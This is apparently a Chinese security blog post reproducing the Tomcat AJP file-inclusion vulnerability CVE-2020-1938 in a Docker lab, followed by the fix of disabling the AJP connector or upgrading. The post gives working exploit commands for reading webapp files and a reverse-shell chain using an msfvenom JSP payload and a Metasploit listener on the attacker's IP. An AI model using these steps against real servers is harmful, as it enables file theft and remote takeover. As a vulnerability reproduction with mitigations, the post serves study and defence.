tomcat-ajp文件包含漏洞


tomcat-ajp文件包含漏洞 CVE-2020-1938

描述

Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件,可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件

tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip

Connector(连接器)组件是Tomcat最核心的两个组件之一,主要的职责就是负责接收客户端连接和客户端请求的处理加工。每个Connector都将指定一个端口进行监听;将Tomcat比作一个城堡,那么Connector就是城门

影响版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

复现

docker搭建环境

image-20210908194431450

Tomcat版本 9.0.30

nmap探测8009端口

image-20210908200305668

8009端口开放,ajp协议开启

利用exp

1
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -f WEB.INF/web.xml ip -p 8009

image-20210909165013668

成功读取到webapps中ROOT/WEB-INF目录下下web.xml文件

跨目录读取

脚本默认读取ROOT目录下文件,通过修改可以读取webapps中其他目录中的文件

但是不能跨目录读取文件,如/etc/passwd,只能读取/usr/local/tomcat/webapps目录下文件

image-20210909162940330

而要读取其他目录下文件,仅需修改exp,在/asdf前添加文件目录xxx

1
_,data = t.perform_request('/xxx/asdf',attributes=[

查看docs目录下的BUILDING.txt文件

image-20210909164327328

使用脚本读取

1
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -f BUILDING.txt ip -p 8009

image-20210909164814281

反弹shell

msfvenom生成payload,其中ip为攻击者ip

1
2
msfvenom -l payloads | grep java #搜索javapayload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ip LPORT=4444 > shell.txt #生成shell.txt payload

image-20210909190452428

存在上传点的话,找到上传点,将payload上传,修改脚本,在/asdf后加上.jsp

1
_,data = t.perform_request('/asdf.jsp',attributes=[

这里的环境没有上传点,为了演示直接在docker容器中创建shell.txt文件

image-20210909202035638

msfconsole监听

1
2
3
4
5
6
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
show options
set lhost 攻击者ip
set lport 4444
exploit

运行脚本

image-20210909201924800

img

附exp

https://github.com/hypn0s/AJPy

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

漏洞修复

  1. 临时禁用ajp协议端口,修改或注释conf/server.xml文件中的
1
<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />
  1. 升级到安全版本

参考文章

CVE-2020-1938复现

文件包含漏洞之——tomcat CVE-2020-1938漏洞复现(getshell)

CVE-2020-1938 Apache Tomcat AJP文件包含漏洞

msfvenom简介


文章作者: l0odrd
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 l0odrd !
  目录